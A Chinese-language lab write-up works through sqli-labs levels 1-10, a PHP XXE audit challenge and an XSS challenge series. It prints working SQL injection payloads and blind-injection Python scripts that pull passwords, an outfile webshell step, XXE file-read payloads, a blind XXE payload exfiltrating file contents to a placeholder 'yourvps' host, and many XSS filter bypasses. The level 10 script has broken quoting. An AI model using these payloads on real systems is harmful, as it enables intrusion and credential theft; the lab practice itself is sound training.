sql注入1-10

level1

get提交参数id

首先提交1',判断是字符型还是数字型注入

image-20210130223925654

这里出现报错,说明是字符类型的,并且是用'将参数id包裹起来的。

接下来就是判断列数,爆表名,爆列名和数据库内容

0x1 确定列数并爆出表名

image-20210130213104147

当列数增加到4的时候开始报错,说明是三列

1
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 

image-20210130213358017.png

0x2 爆列名

1
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ 

这里的列名很多

1
user_id,first_name,last_name,user,password,avatar,last_login,failed_login

0x3 爆出内容

选择password

1
?id=-1' union select 1,group_concat(password),3 from users--+ 

image-20210130213751401

level2

同样使用 id=1',判断是什么类型的注入

image-20210130214135139

可以发现输入的'没有其他的'与之闭合,导致报错,所以这是数字型注入

所以可以直接使用level1的注入语句,只需要删除 ‘ 即可

1
2
3
4
5
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

?id=-1 union select 1,group_concat(password),3 from users--+

level3

提交id=1'

image-20210130214628110

分析一下报错原因

出错的语句为

1
'1'') LIMIT 0,1 

其中1’输入的内容,所以包裹参数的格式为('id')

注入语句可以直接在level1的基础上增加一个 )即可

将原语句修改为

1
'1') 注入语句 --+ ') LIMIT 0,1 
1
2
3
4
5
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

?id=-1') union select 1,group_concat(password),3 from users--+

level4

同样输入id=1',但是这次没有报错,才是是使用了",换成id=1"

image-20210130215456338

很明显和level3基本相同,将'改为",就是这关的答案

level5

这题是字符型注入,但是不在回显所查询的内容,所以是盲注

查看源码也可以发现

image-20210130220440238

不在打印出所查询到的内容,所以是盲注,但是这关没有关闭报错回显,所以可以通过报错注入

报错注入

(1). 通过floor报错

and (select 1 from (select count(),concat((payload) from users limit 0,1),floor (rand(0)2))x from information_schema.tables group by x)a)

其中payload为你要插入的SQL语句需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错

and updatexml(1,payload,1)

同样该语句对输出的字符长度也做了限制,其最长输出32位并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错

and extractvalue(1, payload)

输出字符有长度限制,最长32位。

0x1 确定数据库名

1
?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

image-20210130221306917

0x2 爆表名

1
?id=1' and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x23))--+

这里每次报错显示的信息只有一行,所以只能有 limit,一个一个的显示,直到找到目标表名

0x3 爆列名

1
?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

0x4 爆内容

1
?id=1' and extractvalue(1,concat(0x23,(select password from users order by id limit 0,1),0x23))--+

后面的内容可以通过改变limit后的第一个参数查看

level6

与level5很像

image-20210130223612822

但是这里是用 “包裹参数,所以只需要将上面的注入语句中的 ‘ 改为 “即可

level7

提交id=1,出现提示

image-20210131230645205

需要使用outfile函数

在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个

  • into dumpfile()
  • into outfile()
  • load_file()

这里我们利用outfile函数

首先确定这关包裹参数的格式

一直测试到id=1')) --+,才显示正确所以可以确定参数的包裹格式为(('id'))

0x1 向网站根目录写入一句话木马

image-20210131233508732

执行后就可以在根目录中看到这个文件

image-20210131233433411

0x2 使用蚁剑连接

1
2
127.0.0.1/3.php
密码:cmd

image-20210131233415258

level8

根据标题和测试结果可以看出是盲注

首先判断是什么类型注入

提交id=1,显示结果为You are in,可以确定成功查询返回的结果

提交id=1',没有提示You are in,但是提交id=1' --+,再次出现You are in,可以确定是字符型注入,包裹形式为'id'

接下来就是确定盲注使用的语句,这里可以使用 asciisubstring两个函数

0x1 爆出数据库名

1
?id=1' and ascii(substring(database(),1,1))>97%23

首先假设数据库名的第一个字母的ascii码值大于97,回显为you are in,所以确定第一个字母大于97,之后可以使用二分法确定出最后的字母。

可以使用脚本完成该过程,脚本跑出的结果为 security

image-20210201120357770

0x2 爆出表名

使用注入语句

1
id=1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1})%23

最后爆出的表名如下

0x3 爆出列名

1
id=1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1})%23

image-20210201140521465

0x4 爆出内容

1
id=1' and (select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1})%23

image-20210201141626668

完整脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
url = "http://127.0.0.1/sqli-labs/Less-8/?id="

flag = ""
t = ""
sum=0
for i in range(1,50):
left = 32
right = 128
mid = (right + left) >> 1
while(left < right):
# payload = "1' and ascii(substring(database(),{0},1))>{1}%23".format(i,mid)
# payload = "1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1})%23".format(i,mid)
# payload = "1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1})%23".format(i,mid)
payload = "1' and (select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1})%23".format(i,mid)

response = requests.get(url+payload)
t = response.text
if "You are in" in response.text:
left = mid+1
else:
right = mid
mid=(right+left)>>1
# print(mid)
flag = flag + chr(mid)
print(flag)
print(flag)

level9

题目标题提示了是基于时间且单引号闭合的盲注

基于时间的盲注需要使用到sleep函数,基本用法如下

分别提交id=1id=1' and sleep(3) --+,其服务器的响应时间如下,第二个的响应时间正好比第一个长了三秒,所以可以根据服务器的响应时间来判断自己所查询的语句是否正确,一般需要编写脚本完成所有步骤。

image-20210201213644564

image-20210201213715695

注入脚本只需要改一改level8的即可。

完整脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import datetime
url = "http://127.0.0.1/sqli-labs/Less-9/?id="

flag = ""

for i in range(1,50):
left = 32
right = 128
mid = (right + left) >> 1
while(left < right):
# payload = "1' and if(ascii(substring(database(),{0},1))>{1},sleep(2),null) %23".format(i,mid)
payload = "1' and if((select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1}),sleep(2),null)%23".format(i,mid)
# payload = "1' and if((select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1}),sleep(2),null)%23".format(i,mid)
# payload = "1' and if((select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1}),sleep(2),null)%23".format(i,mid)
t1 = datetime.datetime.now()
response = requests.get(url+payload)
t2 = datetime.datetime.now()
if (t2 - t1).seconds > 2 :
left = mid+1
else:
right = mid
mid=(right+left)>>1

flag = flag + chr(mid)
print(flag)
print(flag)

爆破数据库名的过程如下

image-20210201220840369

level10

与level9基本相同,只需要将payload中的'换成"即可

完整脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import datetime
url = "http://127.0.0.1/sqli-labs/Less-9/?id="

flag = ""

for i in range(1,50):
left = 32
right = 128
mid = (right + left) >> 1
while(left < right):
# payload = "1" and if(ascii(substring(database(),{0},1))>{1},sleep(2),null) %23".format(i,mid)
payload = "1" and if((select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1}),sleep(2),null)%23".format(i,mid)
# payload = "1" and if((select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1}),sleep(2),null)%23".format(i,mid)
# payload = "1" and if((select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1}),sleep(2),null)%23".format(i,mid)
t1 = datetime.datetime.now()
response = requests.get(url+payload)
t2 = datetime.datetime.now()
if (t2 - t1).seconds > 2 :
left = mid+1
else:
right = mid
mid=(right+left)>>1

flag = flag + chr(mid)
print(flag)
print(flag)

xxe挑战

github地址:https://github.com/vulnspy/phpaudit-XXE/archive/master.zip

因为环境搭建比较简单就直接在windows上运行了

读取的文件也随之改变,在D盘中建立一个1.txt

image-20210303194816074

DOMDocument

使用如下payload读取文件

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///D:/1.txt">
]>
<note>
<name>&content;</name>
</note>

image-20210303194904746

漏洞原因

1
2
3
4
5
6
7
8
9
10
11
12
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
var_dump($dom);
$resp = ob_get_contents();
ob_end_clean();

}

SimpleXMLElement

使用payload:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///D:/1.txt">
]>
<note>
<name>&content;</name>
</note>

image-20210303195204160

漏洞代码

造成 XXE 的类是 SimpleXMLElement

1
2
3
4
5
6
7
8
9
10
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$xml = new SimpleXMLElement($data, LIBXML_NOENT);
ob_start();
var_dump($xml);
$resp = ob_get_contents();
ob_end_clean();
}

simplexml_load_string

payload:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///D:/1.txt">
]>
<note>
<name>&content;</name>
</note>

image-20210303195407342

造成漏洞的是simplexml_load_string,代码如下

1
2
3
4
5
6
7
8
9
10
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
ob_start();
var_dump($xml);
$resp = ob_get_contents();
ob_end_clean();

}

BlindXXE

这一关提交payload无法看到内容,但是可以看到是访问成功的

正常情况下,只会返回给我们ok,即有查询结果,但是不会告诉我们结果是什么

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_GET['s'])){
show_source(__FILE__);
exit;
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
if($xml && isset($xml->name)){
$name = $xml->name;
}
echo isset($name)?'ok':'error';
}
?>

上面的例子是因为echo htmlspecialchars($resp);这句代码所以才有回显,那么把这段代码去掉,就变成了无回显。那么,是不是就不能进行xxe了呢,答案是否定的,虽然靶机没有返回给我们数据,但是我们可以把数据带到我们自己的服务器上。

我们传入如下的payload:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://yourvps/evil.xml">
%dtd;
%send;
]>
<abc></abc>

然后在自己的vps上的evil.xml写入:

1
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://yourvps/?content=%file;'>"> %payload;

注意,因为这里是参数实体payload来嵌套定义参数实体send,所以被嵌套定义的参数实体%一定要HTML编码为:%

如此一来,调用的过程就变成了:参数实体dtd通过http协议来访问vps上的evil.xml,然后返回evil.xml的内容,调用了参数实体payload,然后payload又调用了参数实体sendsend的作用就是把参数实体file(即文件D:/1.txt的base64编码内容)发送到我们的vps上,注意在服务器上监听

xss通关

因为网上有挑战题目的网址就没在本地搭建

0x1

最基础的xss,get提交

1
?name=<script>alert(1)</script>

image-20210303151729341

0x2

第二关直接提交会发现没有弹窗

查看源码可以看到,因为<script>,被包裹在input标签中无法起作用,因此需要先闭合input标签

image-20210303152358665

payload

1
"><script>alert(1)</script>

image-20210303152632625

0x3

直接提交查看源码

image-20210303152721584

可以发现提交后的数据经过htmlspecialchars()转化成了实体变量不在有js代码的作用,所以需要换一种方法

payload

1
'onclick='javascript:alert(1)'

再点击一次就可以过关

0x4

这题与上面的一样只不过这次换成了双引号闭合

image-20210303153135610

1
"onclick='javascript:alert(1)'

image-20210303153118763

0x5

提交"><script>alert(1)</script>

image-20210303153451829

可以发现script被换成了scr_ipt,使用"onclick='javascript:alert(1)'也不行

再换一种方法

image-20210303153621744

0x6

尝试了

1
2
3
<input name=keyword  value=" "><a hr_ef="javascript:alert(1)">">
<input name=keyword value=" "o_nclick='javascript:alert(1)' ">
<input name=keyword value=" "<scr_ipt> alert(1)</script>">

但是都不行了,尝试了看样子是过了href, onclick, script关键词,尝试大小写绕过

提交

1
"oNclick='javascript:alert(1)'

image-20210303160021818

0x7

提交"oNclick='javascript:alert(1)',但是发现on被过滤了

image-20210303160102536

直接尝试双写绕过

1
oonnclick='javascript:alert(1)

image-20210303160204046

0x8

提交"oNclick='javascript:alert(1),可以发现过滤了 " < >,而且进行了实体转换

image-20210303160514318

换一种新的注入方法html字符转换绕过

1
java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

image-20210303160720539

0x9

尝试第八关使用的代码但是发现不行

但是查看源码可以发现提示你的链接不合法,那么合法的链接有什么特点呢

就是带有协议头

1
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1) // http://

0xA

尝试了几种方法之后发现 ,没有输出点

image-20210303162415275

可以发现输入点是隐藏的

使用下面代码测试以上三个哪个是可以注入的

1
&t_link=" text" &t_history="text"&t_sort="text"

image-20210303162558986

再构造代码

1
&t_sort=" type="text" onclick="alert(1)

image-20210303162721705

0xB

进入页面后尝试使用上一关的方法但是无效,上网查看后发现是再refere头注入

image-20210303164336051

可以发现相应包中已经被注入了XSS

在抓包页面返回给浏览器,就会出现被注入的输入框

image-20210303164657154

0xC

继续抓包,这次可以发现是在UA中注入

image-20210303164836733

与上一关做法相似

出现输入框点击即可

image-20210303164930662

0xD

这关是在cookie处注入,方法与之前相同

payload

1
cookie: 原值+user=" type=text onclick="alert(1)

image-20210303165143032

0xE

需要使用带XSS的图片,暂时不会做

0xF

直接查看源码

image-20210303171027487

这里用了angularjs的ng-include,直接在包含的页面里用<script>触发不了,用了img标签

AngularJS ng-include 指令

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

1
<element ng-include="filename" onload="expression" autoscroll="expression" ></element>

遵循SOP,只好调用第一关代码。

需要单引号包裹,否则变成注释。

paload:

1
/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

image-20210303171428095

0x10

测试发现过滤空格,script,/,所以使用%0d %0a做分割符绕过过滤

payload

1
2
3
<img%0Asrc=x%0Aonerror=alert(a)>

<iframe%0asrc=x%0donmouseover=alert`1`></iframe>

image-20210303171803825

0x11

查看源码找到注入位置

image-20210303172359498

但是这里过滤<, >,使用事件触发弹窗

Payload:

1
?arg01=&arg02= onmouseover=alert(1)